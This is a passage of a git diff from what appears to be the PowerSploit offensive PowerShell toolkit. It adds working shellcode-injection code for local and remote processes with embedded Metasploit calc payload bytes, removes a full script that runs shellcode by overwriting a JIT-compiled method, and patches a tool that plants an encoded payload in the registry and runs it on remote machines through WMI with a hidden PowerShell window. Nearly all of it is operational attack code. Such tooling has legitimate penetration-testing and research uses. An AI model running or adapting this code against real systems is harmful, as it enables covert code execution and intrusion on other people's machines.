+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+ else
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ return
+ }
+
+ $Shellcode = $Shellcode64
+ Write-Verbose 'Using 64-bit shellcode.'
+ }
+
+ # Allocate RWX memory for the shellcode
+ $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+ if (!$BaseAddress)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy shellcode to RWX buffer
+ [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
+
+ # Get address of ExitThread function
+ $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
+
+ if ($PowerShell32bit)
+ {
+ $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
+
+ Write-Verbose 'Emitting 32-bit assembly call stub.'
+ }
+ else
+ {
+ $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
+
+ Write-Verbose 'Emitting 64-bit assembly call stub.'
+ }
+
+ # Allocate RWX memory for the thread call stub
+ $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+ if (!$CallStubAddress)
+ {
+ Throw "Unable to allocate thread call stub."
+ }
+
+ Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy call stub to RWX buffer
+ [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
+
+ # Launch shellcode in it's own thread
+ $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch thread."
+ }
+
+ # Wait for shellcode thread to terminate
+ $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
+
+ $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+ $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+
+ Write-Verbose 'Shellcode injection complete!'
+ }
+
+ # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
+ $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
+
+ $AddressWidth = $null
+
+ try {
+ $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
+ } catch {
+ throw 'Unable to determine OS processor address width.'
+ }
+
+ switch ($AddressWidth) {
+ '32' {
+ $64bitOS = $False
+ }
+
+ '64' {
+ $64bitOS = $True
+
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
+ }
+
+ default {
+ throw 'Invalid OS address width detected.'
+ }
+ }
+
+ if ([IntPtr]::Size -eq 4)
+ {
+ $PowerShell32bit = $true
+ }
+ else
+ {
+ $PowerShell32bit = $false
+ }
+
+ if ($PSBoundParameters['Shellcode'])
+ {
+ # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
+ # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
+ [Byte[]] $Shellcode32 = $Shellcode
+ [Byte[]] $Shellcode64 = $Shellcode32
+ }
+ else
+ {
+ # Pop a calc... or whatever shellcode you decide to place in here
+ # I sincerely hope you trust that this shellcode actually pops a calc...
+ # Insert your shellcode here in the for 0xXX,0xXX,...
+ # 32-bit payload
+ # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
+ [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
+ 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
+ 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
+ 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
+ 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
+ 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
+ 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
+ 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
+ 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
+ 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
+ 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
+ 0x61,0x6c,0x63,0x00)
+
+ # 64-bit payload
+ # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
+ [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+ 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
+ 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+ 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
+ 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
+ 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
+ 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
+ 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
+ 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
+ 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
+ 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
+ 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
+ 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
+ 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
+ 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
+ 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
+ }
+
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Inject shellcode into the specified process ID
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
+ $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
+ $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
+
+ Write-Verbose "Injecting shellcode into PID: $ProcessId"
+
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
+ {
+ Inject-RemoteShellcode $ProcessId
+ }
+ }
+ else
+ {
+ # Inject shellcode into the currently running PowerShell process
+ $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
+ $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
+ $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
+ $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
+ $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
+ $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
+ $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
+ $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
+ $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
+ $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
+
+ Write-Verbose "Injecting shellcode into PowerShell"
+
+ if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
+ "Injecting shellcode into the running PowerShell process!" ) )
+ {
+ Inject-LocalShellcode
+ }
+ }
}
diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1
deleted file mode 100644
index 158a643..0000000
--- a/CodeExecution/Invoke-ShellcodeMSIL.ps1
+++ /dev/null
@@ -1,267 +0,0 @@
-function Invoke-ShellcodeMSIL
-{
-<#
-.SYNOPSIS
-
- Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
-
- PowerSploit Function: Invoke-ShellcodeMSIL
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
-
-.DESCRIPTION
-
- Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
-
-.PARAMETER Shellcode
-
- Specifies the shellcode to be executed.
-
-.EXAMPLE
-
- C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
-
- Description
- -----------
- Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
- Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
-
-.NOTES
-
- Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
-
- Use the '-Verbose' option to print detailed information.
-
-.LINK
-
- http://www.exploit-monday.com
-#>
-
- [CmdletBinding()] Param (
- [Parameter( Mandatory = $True )]
- [ValidateNotNullOrEmpty()]
- [Byte[]]
- $Shellcode
- )
-
- function Get-MethodAddress
- {
- [CmdletBinding()] Param (
- [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
- [System.Reflection.MethodInfo]
- $MethodInfo
- )
-
- if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
- {
- Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
- }
-
- try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
- {
- if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
-
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
- # Assemble in memory
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
- $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
- # Declaration of the LeakMethod method
- $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
- $Generator = $MethodBuilder.GetILGenerator()
-
- # Push unmanaged pointer to MethodInfo onto the evaluation stack
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
-
- # Assemble everything
- $Type = $TypeBuilder.CreateType()
- }
-
- $Method = $Type.GetMethod('LeakMethod')
-
- try
- {
- # Call the method and return its JITed address
- $Address = $Method.Invoke($null, @())
-
- Write-Output (New-Object IntPtr -ArgumentList $Address)
- }
- catch [System.Management.Automation.MethodInvocationException]
- {
- Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
- }
- }
-
-#region Define the method that will perform the overwrite
- try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
- {
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
- $Constructor = $Att.GetType().GetConstructors()[0]
- $ObjectArray = New-Object System.Object[](0)
- $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
- $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
- $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
- $Constructor = $ModAtt.GetType().GetConstructors()[0]
- $ObjectArray = New-Object System.Object[](0)
- $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
- $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
- $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
- $Params = New-Object System.Type[](3)
- $Params[0] = [IntPtr]
- $Params[1] = [IntPtr]
- $Params[2] = [Int32]
- $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
- $Generator = $MethodBuilder.GetILGenerator()
- # The following MSIL opcodes are effectively a memcpy
- # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
-
- $SmasherType = $TypeBuilder.CreateType()
- }
-
- $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
-#endregion
-
-#region Define the method that we're going to overwrite
- try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
- {
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
- $Constructor = $Att.GetType().GetConstructors()[0]
- $ObjectArray = New-Object System.Object[](0)
- $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
- $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
- $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
- $Constructor = $ModAtt.GetType().GetConstructors()[0]
- $ObjectArray = New-Object System.Object[](0)
- $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
- $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
- $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
- $Params = New-Object System.Type[](1)
- $Params[0] = [Int]
- $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
- $Generator = $MethodBuilder.GetILGenerator()
- $XorValue = 0x41424344
- $Generator.DeclareLocal([Int]) | Out-Null
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
- # The following MSIL opcodes serve two purposes:
- # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
- # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
- foreach ($CodeBlock in 1..100)
- {
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
- $XorValue++
- }
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
- $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
- $Type = $TypeBuilder.CreateType()
- }
-
- $TargetMethod = $Type.GetMethod('OverwriteMe')
-#endregion
-
- # Force the target method to be JITed so that is can be cleanly overwritten
- Write-Verbose 'Forcing target method to be JITed...'
-
- foreach ($Exec in 1..20)
- {
- $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
- }
-
- if ( [IntPtr]::Size -eq 4 )
- {
- # x86 Shellcode stub
- $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
- <#
- 00000000 60 pushad
- 00000001 E804000000 call dword 0xa
- 00000006 61 popad
- 00000007 31C0 xor eax,eax
- 00000009 C3 ret
- YOUR SHELLCODE WILL BE PLACED HERE...
- #>
-
- Write-Verbose 'Preparing x86 shellcode...'
- }
- else
- {
- # x86_64 shellcode stub
- $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
- 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
- 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
- 0x31,0xC0,0xC3)
- <#
- 00000000 4154 push r12
- 00000002 4155 push r13
- 00000004 4156 push r14
- 00000006 4157 push r15
- 00000008 55 push rbp
- 00000009 E80D000000 call dword 0x1b
- 0000000E 5D pop rbp
- 0000000F 415F pop r15
- 00000011 415E pop r14
- 00000013 415D pop r13
- 00000015 415C pop r12
- 00000017 4831C0 xor rax,rax
- 0000001A C3 ret
- YOUR SHELLCODE WILL BE PLACED HERE...
- #>
-
- Write-Verbose 'Preparing x86_64 shellcode...'
- }
-
- # Append user-provided shellcode.
- $FinalShellcode += $Shellcode
-
- # Allocate pinned memory for our shellcode
- $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
-
- Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
-
- # Copy the original shellcode bytes into the pinned, unmanaged memory.
- # Note: this region of memory if marked PAGE_READWRITE
- [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
-
- $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
-
- Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
- Write-Verbose 'Overwriting dummy method with the shellcode...'
-
- $Arguments = New-Object Object[](3)
- $Arguments[0] = $TargetMethodAddress
- $Arguments[1] = $ShellcodeAddress
- $Arguments[2] = $FinalShellcode.Length
-
- # Overwrite the dummy method with the shellcode opcodes
- $OverwriteMethod.Invoke($null, $Arguments)
-
- Write-Verbose 'Executing shellcode...'
-
- # 'Invoke' our shellcode >D
- $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
-
- if ($ShellcodeReturnValue -eq 0)
- {
- Write-Verbose 'Shellcode executed successfully!'
- }
-}
diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1
index 6ee1e15..0c06424 100644
--- a/CodeExecution/Invoke-WmiCommand.ps1
+++ b/CodeExecution/Invoke-WmiCommand.ps1
@@ -1,5 +1,3 @@
-#Requires -Version 2
-
function Invoke-WmiCommand {
<#
.SYNOPSIS
@@ -185,7 +183,7 @@ the output of your payload back. :P
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
- $Credential,
+ $Credential = [Management.Automation.PSCredential]::Empty,
[Management.ImpersonationLevel]
$Impersonation,
@@ -209,6 +207,8 @@ the output of your payload back. :P
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
}
+ $HKEY_LOCAL_MACHINE = 2147483650
+
$WmiMethodArgs = @{}
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
@@ -253,6 +253,18 @@ the output of your payload back. :P
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
}
+ $PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
+ $PSPathValueName = 'Path'
+
+ $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName
+
+ if ($Result.ReturnValue -ne 0) {
+ throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName"
+ }
+
+ $PowerShellPath = $Result.sValue
+ Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath"
+
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
@@ -282,18 +294,25 @@ the output of your payload back. :P
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
- $SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
- [Management.Automation.PSSerializer]::Serialize($_, 4)
- }
+ $TempSerializedResultPath = [IO.Path]::GetTempFileName()
+
+ $PayloadResult = Invoke-Expression ($Payload)
+
+ Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath
+
+ $SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath)
+
+ $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName
+
+ Remove-Item -Path $SerilizedPayloadResult -Force
- $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
}
}
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
- $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
+ $Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
# Execute the payload runner on the remote system
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
@@ -301,7 +320,7 @@ the output of your payload back. :P
Start-Sleep -Seconds 5
if ($Result.ReturnValue -ne 0) {
- throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
+ throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
@@ -315,7 +334,13 @@ the output of your payload back. :P
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$SerilizedPayloadResult = $Result.sValue
- $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
+
+ $TempSerializedResultPath = [IO.Path]::GetTempFileName()
+
+ Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath
+ $PayloadResult = Import-Clixml -Path $TempSerializedResultPath
+
+ Remove-Item -Path $TempSerializedResultPath
$FinalResult = New-Object PSObject -Property @{
PSComputerName = $Computer